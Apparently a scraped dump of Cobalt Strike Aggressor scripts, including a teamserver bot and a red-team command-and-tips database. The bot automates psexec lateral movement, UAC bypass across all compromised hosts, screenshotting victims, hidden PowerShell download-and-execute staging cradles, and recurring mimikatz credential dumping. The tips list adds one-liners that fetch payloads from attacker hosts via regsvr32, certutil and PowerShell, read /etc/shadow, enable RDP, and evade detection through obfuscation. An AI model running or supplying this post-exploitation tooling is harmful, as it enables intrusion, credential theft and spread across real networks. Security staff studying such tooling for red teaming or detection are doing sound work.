# Change to whatever directory you want (e.g. '>engagement/screenshots/$fname')
$handle = openf(">$fname");
# Write $data to the file handle
writeb($handle, $data);
# Close file handle
closef($handle);
println("Saving screenshot: " . $fname);
}
}
# Add item to the "Cobalt Strike" menu
popup aggressor {
item "Download Screenshots" {
getScreenshots();
}
} | 1,085 | download_screenshots | cna | en | unknown | unknown | {} | 0 | {} |
001SPARTaN/aggressor_scripts | bot.cna | # This is a bot for Cobalt Strike!
# Features:
# - Welcome users to your teamserver
# - Play ping pong
# - List beacons by ID
# - List listeners
# - PsExec from the event log
# - Automatically bypass UAC
# - Screenshot all beacons
# - Post new beacon notifications to Slack
# - Run logonpasswords on specified beacons every 30 minutes
global('$notify @autodump');
$notify = 0;
@autodump = @();
# PsExec against $target from $bid
# TODO figure out how to use with make_token
sub psexecTarget {
local('$bid $target $listener');
($bid, $target, $listener) = @_; # @_ contains the arguments for the subroutine.
say("Owning $target with psexec_psh.");
bpsexec_psh($bid, $target, $listener);
}
# Attempt to bypass UAC on all non-admin shells
sub elevateAll {
local('$listener');
$listener = $1;
# Iterate over all beacons with beacons()
foreach $b (beacons()) {
# Get the id field from $b
$bid = $b['id'];
if (!-isadmin $bid) {
say("Attempting to elevate beacon $bid");
bbypassuac($bid, $listener);
}
sleep(1000);
}
}
# Get PowerShell DownloadString payload
sub getDownloadString {
foreach $s (sites()) {
# Check if the site has powershell in the description
if ($s['Description'] hasmatch "powershell") {
# Build URL and DownloadString
$url = "https://" . $s['Host'] . $s['URI'];
$downloadString = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('";
$downloadString .= $url . "'))\"";
# println("Returning DownloadString: $downloadString");
say("Found Powershell DownloadString payload: \c9$downloadString\o");
return true;
}
else {
say("No DownloadString cradle found. Try !downloadstring <LISTENER> first.");
}
}
return false;
}
# Create PowerShell DownloadString payload
sub createDownloadString {
local ('$listener $script $host $url');
if (-istrue getDownloadString()){
# println("DownloadString already exists!");
return;
}
else {
$listener = $1;
$host = listener_info($listener)['host'];
artifact_stageless($listener, "powershell", "x86", $null, $this);
yield;
$script = $1;
$url = site_host($host, "443", "/analytics.js", $script, "text/plain", "Scripted Web Delivery(powershell)");
$url = strrep($url, "http", "https");
$downloadString = "powershell.exe -nop -w hidden -c \"IEX ((New-Object Net.WebClient).DownloadString('";
$downloadString .= $url . "'))\"";
# println("Returning DownloadString $downloadString");
say("Here's your DownloadString: \c9$downloadString\o");
}
}
# Get Windows version and set the Beacon note
sub getVersion {
local ('$bid $version $winver');
$bid = $1;
$version = binfo($bid, 'ver');
if ($version eq "6.1") {
$winver = "Win7 or 2008";
}
else if ($version eq "6.2") {
$winver = "Win8 or 2012";
}
else if ($version eq "6.3") {
$winver = "Win8.1 or 2012 R2";
}
else if ($version eq "10.0") {
$winver = "Win10 or 2016";
}
else {
$winver = "Unknown version";
}
bnote($bid, "OS: $winver");
}
# Send Slack notification on a new Beacon
sub notifyBeacon {
local ('$bid $bUser $bIntIP $bName $msg @cmd $url');
$bid = $1;
$bUser = binfo($bid, 'user');
$bIntIP = binfo($bid, 'host');
$bName = binfo($bid, 'computer');
# Text file with Slack webhook URL
$url = readln(openf("url.txt"));
$msg = $bUser . "@" . $bIntIP . " (". $bName . ")";
# Codename to tag message with
$codename = "CODENAME";
# Build our curl command
@cmd = @('curl','-X','POST','--data-urlencode','payload={"username": "Cobalt Strike Bot", "icon_emoji": ":ghost:", "channel": "CHANNEL", "attachments" : [{ "pretext":"<!everyone> ' . $codename . ' - NEW BEACON:" , "text" : "' . $msg . '"}]}',$url);
# Run our curl command and get the output
println(readAll(exec(@cmd)));
}
# Add or remove beacon to autodump
sub autodump {
$bid = $1;
add(@autodump, $bid, -1);
}
# Triggered on all public events in the event log
on event_public {
local('@input $cmd @args')
if (substr($2, 0, 1) eq "!") { # If first character is !, it's a command
@input = split(" ", $2); # Split incoming command on spaces
$cmd = @input[0]; # Command is !<cmd> arg1 arg2...
@args = sublist(@input, 1); # sublist gets everything after !cmd
# Log to script console for debug purposes
# println("Command received: $cmd");
# println("Arguments: " . @args);
# Play ping pong
if ($cmd eq "!ping") {
say("pong!");
}
# List all beacons by ID
else if ($cmd eq "!beacons") {
say ("Number of Beacons: " . size(beacons()));
foreach $b (beacons()) {
say("Beacon: $b['id'] on $b['computer'] as $b['user']");
}
}
# List all listeners
else if ($cmd eq "!listeners") {
foreach $l (listeners()) {
say("Listener: $l");
}
}
# psexec to target host from beacon
else if ($cmd eq "!psexec") {
if (size(@args) == 3) {
$bid = @args[0];
$target = @args[1];
$listener = @args[2];
# Log to script console for debug purposes
# println("Beacon ID: $bid");
# println("Target: $target");
# println("Listener: $listener");
psexecTarget($bid, $target, $listener);
}
}
# Elevate all non-admin beacons
else if ($cmd eq "!elevate") {
$listener = @args[0];
elevateAll($listener);
}
# Screenshot all beacons
else if ($cmd eq "!screenshot") {
foreach $b (beacons()){
bscreenshot($b['id']);
sleep(1000);
}
}
# Get DownloadString to stage Beacon
else if ($cmd eq "!downloadstring") {
if (!@args) {
getDownloadString();
}
else {
$listener = @args[0];
createDownloadString($listener);
}
}
# Run logonpasswords on all Beacons
else if ($cmd eq "!mimikatz") {
foreach $b (beacons()) {
blogonpasswords($b['id']);
sleep(1000);
}
}
else if ($cmd eq "!notify") {
if (!@args) {
if ($notify == 1) {
elog("Notifications: \c9ON\o");
}
else {
elog("Notifications: \c4OFF\o");
}
}
else {
if (@args[0] eq "on") {
$notify = 1;
elog("Notifications turned \c9ON\o");
}
else if (@args[0] eq "off") {
$notify = 0;
elog("Notifications turned \c4OFF\o");
}
else {
say("Please choose \c9on\o or \c4off\o");
}
}
}
else if ($cmd eq "!r") {
local ('$msg');
if (!@args) {
say("Enter a note!");
}
else {
foreach $s (@args){
$msg = $msg . " " . $s;
}
elog("Operator note: $msg");
}
}
# Get help.
else if ($cmd eq "!help") {
say("Beep boop! Here are my commands:");
say("ping:\t\t\tPong!");
say("beacons:\t\t\tList all beacons.");
say("listeners:\t\t\tList all listeners.");
say("psexec <bid> <target> <listener>:\tSpawn a shell on <target> from <bid>.");
say("elevate:\t\t\tAttempt to bypass UAC on all non-admin beacons.");
say("screenshot:\t\t\tAttempt to screenshot all beacons.");
say("downloadstring:\t\t\tGet a Powershell DownloadString payload.");
say("mimikatz:\t\t\tTask all beacons to run logonpasswords.");
say("notify:\t\t\tSend notifications to Flowdock for all new Beacons.");
}
else if ($cmd eq "!autodump") {
if (!@args) {
say("Enter a beacon ID!");
}
else {
foreach $bid (@args) {
autodump($bid);
}
}
}
}
}
on beacon_initial {
local('$b');
global('$notify');
# If incoming beacon is admin, call it out in event log
if (-isadmin $1) {
# $1 for beacon_initial event is beacon ID, have to get metadata with bdata($1)
$b = bdata($1);
say("\c5New admin beacon: \c2" . $b['user'] . "@" . $b['computer'] . "\c5!\o");
}
# Get Windows version and set Beacon note
getVersion($1);
# If notifications are turned on, notify when we get a new beacon
if ($notify == 1) {
notifyBeacon($1);
}
}
# Log all beacon tasks to event log for situational awareness
on beacon_tasked {
local('$bid $hostname $user');
$bid = $1;
$hostname = binfo($bid, 'computer');
$user = binfo($bid, 'user');
elog($user . "@" . $hostname . " tasked: $2");
}
# Dump Mimikatz on all beacons in @autodump every 30 minutes
on heartbeat_30m {
foreach $bid (@autodump) {
blogonpasswords($bid);
}
} | 9,714 | bot | cna | en | unknown | unknown | {} | 0 | {} |
001SPARTaN/csfm | defs.cna | # defs.cna
# Definitions for all the tips and commands.
# Mostly r3dqu1nn's work, with a bit of help from 001SPARTaN
# @database = @(%($cmd, $desc, @tags), %($cmd, $desc, @tags))
@database = @(
%(cmd => 'ipconfig /all', desc => 'Display all network information for all interfaces.', tags => @(
'network', 'networking', 'interfaces', 'utility', 'recon', 'enum', 'ipconfig'
)
),
%(cmd => 'systeminfo', desc => 'Display info about the system. Tip: Use | findstr to pipe out individual options.', tags => @(
'system', 'info', 'information', 'recon', 'enum', 'privesc', 'systeminfo', 'system info'
)
),
%(cmd => 'route print', desc => 'Display network routes.', tags => @(
'network', 'route', 'routes', 'print', 'recon', 'enum'
)
),
%(cmd => 'arp -a', desc => 'Display ARP table.', tags => @(
'network', 'arp', 'recon', 'enum'
)
),
%(cmd => 'wmic computersystem get [options]', desc => 'Get detailed information about the system with wmic. Use [/?] for a complete list of options', tags => @(
'computer', 'wmic', 'system', 'recon', 'enum'
)
),
%(cmd => 'wmic desktop get [options]', desc => 'Get detailed information about the desktop with wmic. Use [/?] for a complete list of options', tags => @(
'desktop', 'recon', 'enum', 'wmic'
)
),
%(cmd => 'wmic netlogin get [options]', desc => 'Get detailed information about netlogin with wmic. Use [/?] for a complete list of options', tags => @(
'netlogin', 'login', 'recon', 'enum', 'wmic'
)
),
%(cmd => 'wmic process get [options]', desc => 'Get detailed information about processes with wmic. Use [/?] for a complete list of options', tags => @(
'process', 'processes', 'recon', 'enum', 'wmic'
)
),
%(cmd => 'wmic service get [options]', desc => 'Get detailed information about services with wmic. Use [/?] for a complete list of options', tags => @(
'services', 'service', 'recon', 'enum', 'wmic'
)
),
%(cmd => 'wmic volume get [options]', desc => 'Get detailed information about volumes/drives with wmic. Use [/?] for a complete list of options', tags => @(
'volume', 'drives', 'recon', 'enum', 'wmic'
)
),
%(cmd => 'wmic netuse list full', desc => 'Get a full list of mapped drives with wmic.', tags => @(
'netuse', 'drives', 'recon', 'enum', 'wmic', 'mapped'
)
),
%(cmd => 'wmic startup get [options]', desc => 'Get detailed information regarding the startup of the system with wmic. Use [/?] for a complete list of options.', tags => @(
'startup', 'boot', 'bootup', 'enum', 'recon', 'wmic'
)
),
%(cmd => 'wmic PRODUCT get [options]', desc => 'Get detailed information about the installed software on the system with wmic. Use [/?] for a complete list of options.', tags => @(
'product', 'software', 'install', 'enum', 'recon', 'wmic'
)
),
%(cmd => 'wmic qfe get [options]', desc => 'Get detailed information about hotfixes installed on the system with wmic. Use [/?] for a complete list of options.', tags => @(
'qfe', 'patches', 'hotfix', 'enum', 'recon', 'kb', 'wmic'
)
),
%(cmd => 'wmic ntdomain get [options]', desc => 'Get detailed information about the Domain Controller on the network with wmic. Use [/?] for a complete list of options.', tags => @(
'ntdomain', 'DomainController', 'domain', 'dc', 'enum', 'recon', 'wmic'
)
),
%(cmd => 'wmic bios list full', desc => 'Get detailed information about the BIOS on the system with wmic.', tags => @(
'computer', 'hardware', 'bios', 'install', 'enum', 'recon', 'wmic'
)
),
%(cmd => 'SET', desc => 'Get detailed information about all the %PATH% variables.', tags => @(
'computer', 'variables', 'set', 'enum', 'recon', 'user'
)
),
%(cmd => 'netstat -ano', desc => 'Get detailed information about network connections on the system. Use netstat [/?] for a complete list of options.', tags => @(
'computer', 'netstat', 'network', 'status', 'enum', 'recon', 'connections'
)
),
%(cmd => 'netstat -ano | findstr /I listening', desc => 'Get detailed information about network connections listening on the system. Use netstat [/?] for a complete list of options.', tags => @(
'computer', 'netstat', 'network', 'status', 'enum', 'recon', 'connections'
)
),
%(cmd => 'netstat -ano | findstr /I established', desc => 'Get detailed information about network connections established on the system. Use netstat [/?] for a complete list of options.', tags => @(
'computer', 'netstat', 'network', 'status', 'enum', 'recon', 'connections'
)
),
%(cmd => 'nbtstat -A [Target IP]', desc => 'Returns the NetBIOS name table and MAC address of the address card for the remote computer name specified.', tags => @(
'computer', 'nbtstat', 'network', 'mac', 'enum', 'recon', 'NetBIOS'
)
),
%(cmd => 'nslookup', desc => 'Displays information that you can use to diagnose Domain Name System (DNS) infrastructure. Resolve IP <--> Domain Name.', tags => @(
'computer', 'nslookup', 'network', 'dns', 'lookup', 'enum', 'recon'
)
),
%(cmd => 'reg query [keyname]', desc => 'Returns a list of the next tier of subkeys and entries that are located under a specified subkey in the registry.', tags => @(
'registry', 'query', 'reghive', 'regedit', 'enum', 'recon'
)
),
%(cmd => 'reg add [keyname] [options]', desc => 'Adds a new subkey or entry to the registry.', tags => @(
'registry', 'add', 'reghive', 'regedit', 'enum', 'recon'
)
),
%(cmd => 'schtasks [options]', desc => 'Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks.', tags => @(
'schtasks', 'schedule', 'time', 'persistence', 'enum', 'recon', 'tasks'
)
),
%(cmd => 'sc [options]', desc => 'Communicates with the Service Controller and installed services. SC.exe retrieves and sets control information about services.', tags => @(
'sc', 'service', 'controller', 'enum', 'recon', 'tasks'
)
),
%(cmd => 'sc [ServerName] qc [ServiceName] [BufferSize]', desc => 'Queries the configuration information for a service.', tags => @(
'sc', 'qc', 'service', 'controller', 'enum', 'recon', 'tasks'
)
),
%(cmd => 'tasklist (/S Remote Computer) [options]', desc => 'Displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer.', tags => @(
'schtasks', 'list', 'time', 'persistence', 'enum', 'recon', 'tasklist', 'processes', 'process'
)
),
%(cmd => 'driverquery [/s Computer] [/u Domain\User /p Password]', desc => 'Displays a list of all installed device drivers and their properties.', tags => @(
'driver', 'driverquery', 'computer', 'hardware', 'enum', 'recon',
)
),
%(cmd => 'schtasks [options]', desc => 'Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks.', tags => @(
'schtasks', 'schedule', 'time', 'persistence', 'enum', 'recon', 'tasks'
)
),
%(cmd => 'gpresult /s <COMPUTER> /u <USERNAME> [options]', desc => 'Displays the Resultant Set of Policy (RSoP) information for a remote user and computer.', tags => @(
'firewall', 'RSOP', 'GPO', 'Group Policy', 'enum', 'recon', 'rules'
)
),
%(cmd => 'whoami /groups /all [options]', desc => 'Displays user, group and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and user name.', tags => @(
'user', 'groups', 'privileges', 'logon', 'enum', 'recon',
)
),
%(cmd => 'netsh firewall (advfirewall) show conf', desc => 'Netsh is a command-line scripting utility that allows you to, either locally or remotely, display or modify the network configuration of a currently running computer. Use firewall to query firewall information.', tags => @(
'netsh', 'network', 'config', 'firewall', 'enum', 'recon', 'rules'
)
),
%(cmd => 'netsh wlan show profiles', desc => 'Netsh is a command-line scripting utility that allows you to, either locally or remotely, display or modify the network configuration of a currently running computer.', tags => @(
'netsh', 'network', 'config', 'wlan', 'enum', 'recon', 'rules'
)
),
#net commands
%(cmd => 'net accounts [/domain]', desc => 'Updates the user accounts database and modifies password and logon requirements for all accounts.', tags => @(
'net', 'network', 'config', 'accounts', 'enum', 'recon', 'user', 'modify', 'domain', 'display'
)
),
%(cmd => 'net group "groupname" [/domain]', desc => 'Adds, displays, or modifies global groups in the domain.', tags => @(
'net', 'network', 'config', 'groups', 'recon', 'enum', 'domain', 'display'
)
),
%(cmd => 'net localgroup "groupname" [/domain]', desc => 'Adds, displays, or modifies local groups in the domain.', tags => @(
'net', 'network', 'config', 'localgroup', 'enum', 'recon', 'domain', 'display'
)
),
%(cmd => 'net view [/domain]', desc => 'Displays a list of domains, computers, or resources that are being shared by the specified computer. Used without parameters, net view displays a list of computers in your current domain.', tags => @(
'net', 'network', 'config', 'view', 'enum', 'recon', 'display', 'computers', 'domain'
)
),
%(cmd => 'net session [\\ComputerName]', desc => 'Manages server computer connections. Used without parameters, net session displays information about all sessions with the local computer.', tags => @(
'net', 'network', 'config', 'session', 'enum', 'recon', 'display'
)
),
%(cmd => 'net share [options]', desc => 'Manages shared resources. Used without parameters, net share displays information about all of the resources that are shared on the local computer.', tags => @(
'net', 'network', 'config', 'resources', 'enum', 'recon', 'share', 'display'
)
),
%(cmd => 'net user [username] [/domain]', desc => 'Adds or modifies user accounts or displays user account information.', tags => @(
'net', 'network', 'config', 'user', 'enum', 'recon', 'domain', 'display'
)
),
%(cmd => 'net use * \\IP\Share /user:username [password]', desc => 'Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections.', tags => @(
'net', 'network', 'use', 'pivot', 'authentication', 'resource', 'domain', 'connection', 'shared'
)
),
#powershell
%(cmd => 'IEX (New-Object Net.WebClient).DownloadString(\'http://IP/URI\')', desc => 'The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command.', tags => @(
'IEX', 'one-liner', 'Invoke-Expression', 'powershell', 'enum', 'recon', 'cmdlet', 'download'
)
),
%(cmd => 'powershell -executionpolicy bypass -nop -noni -c \'\'\'[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {1};IEX (New-Object Net.WebClient).DownloadString(\"https://IP/URI\")\'\'\'', desc => 'The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command.', tags => @(
'IEX', 'one-liner', 'Invoke-Expression', 'powershell', 'enum', 'recon', 'cmdlet', 'download', 'SSL'
)
),
%(cmd => '\$code=\'code goes here\'\;[convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes(\$code\)\)', desc => 'Encodes a byte array as a Base64 string', tags => @(
'string', 'base64', 'encode', 'powershell', 'obfuscation', 'Unicode', 'Byte'
)
),
%(cmd => '\$code=\'code goes here\'\;[convert]::FromBase64String([Text.Encoding]::Unicode.GetBytes(\$code\)\)', desc => 'Decodes a byte array from a Base64 string', tags => @(
'string', 'base64', 'decode', 'powershell', 'obfuscation', 'Unicode', 'Byte'
)
),
%(cmd => 'cat (Get-PSReadlineOption).HistorySavePath', desc => 'Shows all history for PS5 commands entered', tags => @(
'recon', 'stored', 'powershell', 'enum', 'history', 'commands'
)
),
%(cmd => 'Get-ADUser -Filter \* \|Where-Object \{\$_.Enabled -eq $false\}', desc => 'Returns all disabled user accounts', tags => @(
'recon', 'AD', 'powershell', 'enum', 'disabled', 'accounts', 'user'
)
),
%(cmd => 'Get-ADUser -Enabled -PasswordNeverExpires:$true', desc => 'Returns all accounts with non-expiring passwords', tags => @(
'recon', 'AD', 'powershell', 'enum', 'expire', 'accounts', 'user'
)
),
%(cmd => 'Get-ADUser -Filter \{SmartCardLogonRequired -eq $false\}', desc => 'Returns all accounts with no smart card required', tags => @(
'recon', 'AD', 'powershell', 'enum', 'smartcard', 'accounts', 'user', 'CAC'
)
),
%(cmd => 'Get-ADComputer -Filter \{OperatingSystem -Like \"Windows *Server*\"\} -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack -Wrap -Auto', desc => 'Returns all AD Computers in a format-table', tags => @(
'recon', 'AD', 'powershell', 'enum', 'computer', 'windows server', 'OS', 'Server'
)
),
%(cmd => '(new-object Net.Sockets.TcpClient).Connect("IP", PORT)', desc => 'Tests network port access to see if the port is open', tags => @(
'recon', 'tcp', 'powershell', 'enum', 'computer', 'sockets', 'IP', 'Port', 'network'
)
),
%(cmd => '[System.Net.Dns]::GetHostbyAddress("8.8.8.8")', desc => 'Resolve IP to hostname', tags => @(
'recon', 'powershell', 'net', 'hostname', 'IP', 'dns', 'network'
)
),
%(cmd => '[System.Net.Dns]::GetHostEntry("host.domain")', desc => 'Resolve hostname to IP', tags => @(
'recon', 'powershell', 'net', 'dns', 'IP', 'hostname', 'network'
)
),
#dsquery
%(cmd => 'dsquery computer -name <name>*', desc => 'Search for computers with a name similar to <name>.', tags => @(
'computer', 'name', 'dsquery', 'recon', 'enum'
)
),
%(cmd => 'dsquery * \"CN=System,DC=computer\" -filter \"\(objectClass=trustedDomain\)\" -attr TrustPartner,FlatName,TrustDirection', desc => 'Search for Domain Controllers that are trusted and have Trust relationships within the domain', tags => @(
'computer', 'dsquery', 'recon', 'enum', 'domain controller', 'domain', 'trust'
)
),
%(cmd => 'dsquery group -name \"domain admins\" |dsget group -members -expand', desc => 'Search for Domain Admins in the domain using dsquery', tags => @(
'members', 'dsquery', 'recon', 'enum', 'groups', 'domain', 'admins'
)
),
%(cmd => 'dsquery user -name <username> |dsget user -memberof -expand', desc => 'Query a specific user in the domain and the groups they are a member of using dsquery', tags => @(
'members', 'dsquery', 'recon', 'enum', 'groups', 'domain', 'user'
)
),
%(cmd => 'dsquery * domainroot -filter \"\(&\(objectCategory=Person\)\(objectClass=User\)\(userAccountControl:1.2.840.113556.1.4.803:=32\)\)\"', desc => 'Query user accounts with no passwords required with dsquery', tags => @(
'accounts', 'dsquery', 'recon', 'enum', 'passwords', 'domain'
)
),
%(cmd => 'dsquery subnet -limit 0', desc => 'Returns subnet information in AD sites and services with dsquery', tags => @(
'subnet', 'dsquery', 'recon', 'enum', 'AD', 'sites', 'services'
)
),
%(cmd => 'dsquery OU', desc => 'Returns all OU information in AD with dsquery', tags => @(
'subnet', 'dsquery', 'recon', 'enum', 'AD', 'OU'
)
),
#MSSQL
%(cmd => 'sqlcmd -s localhost -q "exec sp_databases"', desc => 'Returns list of local MSSQL databases', tags => @(
'sql', 'mssql', 'enum', 'recon', 'database', 'sqlcmd'
)
),
%(cmd => 'sqlcmd -s localhost -d DATABASE -q "SELECT count(*) FROM TABLE"', desc => 'Returns number of entries in TABLE', tags => @(
'sql', 'mssql', 'enum', 'recon', 'database', 'sqlcmd'
)
),
%(cmd => 'sqlcmd -s localhost -d DATABASE -q "SELECT TOP 10 * FROM TABLE"', desc => 'Returns top 10 rows from TABLE', tags => @(
'sql', 'mssql', 'enum', 'recon', 'database', 'sqlcmd'
)
),
%(cmd => 'sqlcmd -s localhost -d DATABASE -q "SELECT * FROM SYSOBJECTS WHERE TYPE = \'U\' ORDER BY NAME"', desc => 'Returns list of table names in DATABASE', tags => @(
'sql', 'mssql', 'enum', 'recon', 'database', 'sqlcmd'
)
),
#Linux
%(cmd => 'cat /etc/issue', desc => 'Verify Linux distro', tags => @(
'linux', 'etc', 'issue', 'cat', 'distro'
)
),
%(cmd => 'cat /etc/*-release', desc => 'Verify exact version and distribution for Linux', tags => @(
'linux', 'cat', 'etc', 'release', 'version', 'distro'
)
),
%(cmd => 'cat /etc/*-release | grep -E \'\"NAME=\"|ID|VERSION|ID_LIKE\'', desc => 'Verify exact version and distribution for Linux', tags => @(
'linux', 'cat', 'etc', 'release', 'version', 'distro'
)
),
%(cmd => 'cat /proc/version', desc => 'Verify Linux version using proc', tags => @(
'linux', 'cat', 'proc', 'version', 'distro'
)
),
%(cmd => 'rpm -q kernel', desc => 'Get detailed information about the kernel', tags => @(
'linux', 'rpm', 'kernel'
)
),
%(cmd => 'dmesg | grep Linux', desc => 'Output kernel messages for Linux', tags => @(
'linux', 'dmesg', 'grep', 'kernel'
)
),
%(cmd => 'ls /boot | grep vmlinuz-', desc => 'Verify the name of the specific version of the kernel', tags => @(
'linux', 'ls', 'grep', 'vmlinuz-', 'kernel'
)
),
%(cmd => 'lsb_release -a', desc => 'Display information about your specific Linux distrobution', tags => @(
'linux', 'lsb_release', 'LSB', 'distro'
)
),
%(cmd => 'last -a', desc => 'Show the users who logged in last', tags => @(
'linux', 'last', 'login', 'log'
)
),
%(cmd => 'uname -a/-mrs', desc => 'Display the software and hardware information in current running Linux system', tags => @(
'linux', 'uname', 'software', 'hardware', 'system'
)
),
%(cmd => 'id', desc => 'Print user and group information for the specified USERNAME, or (when USERNAME omitted) for the current user', tags => @(
'linux', 'id', 'user', 'group', 'username'
)
),
%(cmd => 'history', desc => 'Show the last commands entered for the current user', tags => @(
'linux', 'history', 'last', 'commands', 'user'
)
),
%(cmd => 'arp -a', desc => 'Display the current arp table', tags => @(
'linux', 'arp', 'table', 'MAC'
)
),
%(cmd => 'netstat -anot', desc => 'Display network connections', tags => @(
'linux', 'net', 'stat', 'TCP', 'UDP', 'connections'
)
),
%(cmd => 'ps -elf', desc => 'View information on a selection of running processes', tags => @(
'linux', 'ps', 'elf', 'processes', 'monitor', 'status'
)
),
%(cmd => 'ps -elf | grep root', desc => 'View information on a selection of running processes owned by root', tags => @(
'linux', 'ps', 'elf', 'root', 'processes', 'monitor'
)
),
%(cmd => 'ls -la /var/www/html/', desc => 'List the contents of html directory for web resources', tags => @(
'linux', 'ls', '/var/www/html', 'web', 'html', 'listing'
)
),
%(cmd => 'service apache2 status', desc => 'View status of apache2 service', tags => @(
'linux', 'apache2', 'service', 'status', 'web'
)
),
%(cmd => 'cat /etc/resolv.conf', desc => 'View the DNS entries for your Linux distro', tags => @(
'linux', 'cat', 'etc', 'resolv.conf', 'DNS', 'distro'
)
),
%(cmd => 'cat /etc/networks', desc => 'View Linux network configuration', tags => @(
'linux', 'cat', 'etc', 'networks', 'config'
)
),
%(cmd => 'iptables -L', desc => 'Display all iptables rules', tags => @(
'linux', 'iptables', 'networking', 'rules', 'ACL'
)
),
%(cmd => 'iptables -L -t nat', desc => 'Display all natting iptables rules', tags => @(
'linux', 'iptables', 'nat', 'rules', 'ACL'
)
),
%(cmd => 'lsof -i', desc => 'List the files that are open by which process', tags => @(
'linux', 'lsof', 'list', 'files', 'process', 'open'
)
),
%(cmd => 'cat /etc/services', desc => 'View services that client applications use', tags => @(
'linux', 'cat', 'etc', 'services', 'client', 'applications'
)
),
%(cmd => 'grep 80 /etc/services', desc => 'View services that utilize port 80', tags => @(
'linux', 'grep', '80', 'web', 'services', 'port'
)
),
%(cmd => 'w', desc => 'Display who is logged into the Linux and Unix-like server, and what they are doing at command execution time', tags => @(
'linux', 'w', 'logged', 'login', 'command', 'execution'
)
),
%(cmd => 'route -n', desc => 'Display the route table for Linux/Debian based systems', tags => @(
'linux', 'route', '-n', 'routing', 'network', 'recon'
)
),
%(cmd => 'cat /etc/passwd', desc => 'Display the contents of /etc/passwd', tags => @(
'linux', 'cat', 'etc', 'passwd', 'password', 'recon'
)
),
%(cmd => 'cat /etc/passwd | awk -F : \'{if (\$3 > 999 && \$3 < 60001) print \$1,\$3,\$6}\'', desc => 'Display only users of /etc/passwd', tags => @(
'linux', 'cat', 'etc', 'passwd', 'awk', 'regex', 'password', 'recon'
)
),
%(cmd => 'cat /etc/motd', desc => 'Display the message of the day for any sensitive info', tags => @(
'linux', 'cat', 'etc', 'motd', 'information', 'recon'
)
),
%(cmd => 'cat /etc/group', desc => 'Display the groups in /etc/group', tags => @(
'linux', 'cat', 'etc', 'group', 'recon'
)
),
%(cmd => 'cat /etc/shadow', desc => 'Display the password hashes (Must be root)', tags => @(
'linux', 'cat', 'etc', 'shadow', 'password', 'hashes', 'recon'
)
),
);
@tips = @(
%(tips => 'Use the built in net commands with Beacon! [help net]', tags => @(
'net', 'networking', 'config', 'utility', 'recon', 'enum', 'domain', 'display'
)
),
%(tips => 'Run C:\\Windows\\System32\\gatherNetworkInfo.vbs script and check results inside C:\\Windows\\System32\\Config', tags => @(
'vbscript', 'networking', 'config', 'utility', 'recon', 'enum', 'script'
)
),
%(tips => 'RunDll32.exe user32.dll,LockWorkStation - Locks a users workstation', tags => @(
'rundll32', 'lock', 'workstation', 'user', 'effects'
)
),
%(tips => 'dir /s /h:a *.* - displays all hidden files', tags => @(
'dir', 'display', 'hidden', 'files', 'listing'
)
),
%(tips => 'netsh interface portproxy add v4tov4 listenport=port listenaddress=IP connectaddress=remote_ip connectport=remote_port - setup reverse port proxy on windows as a pivot', tags => @(
'netsh', 'portproxy', 'pivot', 'networking', 'interface'
)
),
%(tips => 'icacls \<file_name\> /grant \<username\>:F - grants full control permissions', tags => @(
'icacls', 'permissions', '', 'user', 'effects'
)
),
%(tips => 'regsvr32.exe /u /n /s /i:http://ip/payload.sct scrobj.dll - bypass Applocker or code execution restrictions, using regsvr32 as a one-liner', tags => @(
'regsvr32', 'one-liner', 'scrobj.dll', 'bypass', 'native', 'delivery'
)
),
%(tips => 'SystemInfo /s computername - gets remote system info', tags => @(
'systeminfo', 'computer', 'system', 'recon', 'info', 'enum'
)
),
%(tips => 'Need a map of the network? Run Bloodhound or SharpHound for faster polling!!', tags => @(
'network', 'map', 'topology', 'BloodHound', 'SharpHound'
)
),
%(tips => 'Always check sysvols!! Domain Controllers will have them, most sysvols are viewable by normal users.', tags => @(
'sysvol', 'domain controller', 'enum', 'recon', 'scripts', 'share'
)
),
%(tips => 'net user a specific user and see if they are executing any logon scripts, those might contain juicy information.', tags => @(
'net', 'user', 'recon', 'enum', 'logon', 'scripts'
)
),
%(tips => 'Always check Desktops/Documents/Downloads/Favorites folders for trails of valuable information left behind.', tags => @(
'folders', 'information', 'recon', 'enum', 'users'
)
),
%(tips => 'Find those Fileservers! Sysadmins leave behind all kinds of goodies there. Great for lateral movement as well.', tags => @(
'server', 'fileserver', 'sysadmin', 'lateral movement', 'enum', 'recon'
)
),
%(tips => 'Use certutil.exe -urlcache -split -f [http://AttackerIP/RemoteFile] to download a file to the target machine.', tags => @(
'certutil', 'urlcache', 'one-liner', 'download', 'web', 'delivery'
)
),
%(tips => 'The all powerful one-liner powershell.exe -w hidden -nop -ep bypass -c \"IEX ((new-object net.webclient).downloadstring(\'http://[domainname|IP]:[port]/[file]\'))\"', tags => @(
'powershell', 'one-liner', 'web-delivery', 'web', 'delivery', 'download'
)
),
%(tips => 'Use tasklist /S [RemoteComputer] /SVC to see if you have access to that remote machine.', tags => @(
'tasklist', 'remote', 'authentication', 'list', 'processes'
)
),
%(tips => 'Enable RDP through the registry: reg add “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f', tags => @(
'RDP', 'registry', 'config', 'windows', 'regedit'
)
),
%(tips => 'Please wrap/encode/pack your payloads if you have to drop to disk! - use veil/upx/Invoke-Obfuscation/In-Memory type of payloads', tags => @(
'pack', 'wrap', 'encode', 'upx', 'veil', 'payload', 'Invoke-Obfuscation'
)
),
%(tips => 'Try to stay in memory and avoid putting files on disk. (powershell-import)', tags => @(
'Memory', 'inject', 'fileless', 'payload', 'files'
)
),
%(tips => 'Live off the land!! Use what is on the target, native windows binaries are very powerful! (ex. forfiles, rundll32)', tags => @(
'native', 'windows', 'binaries', '', 'processes'
)
),
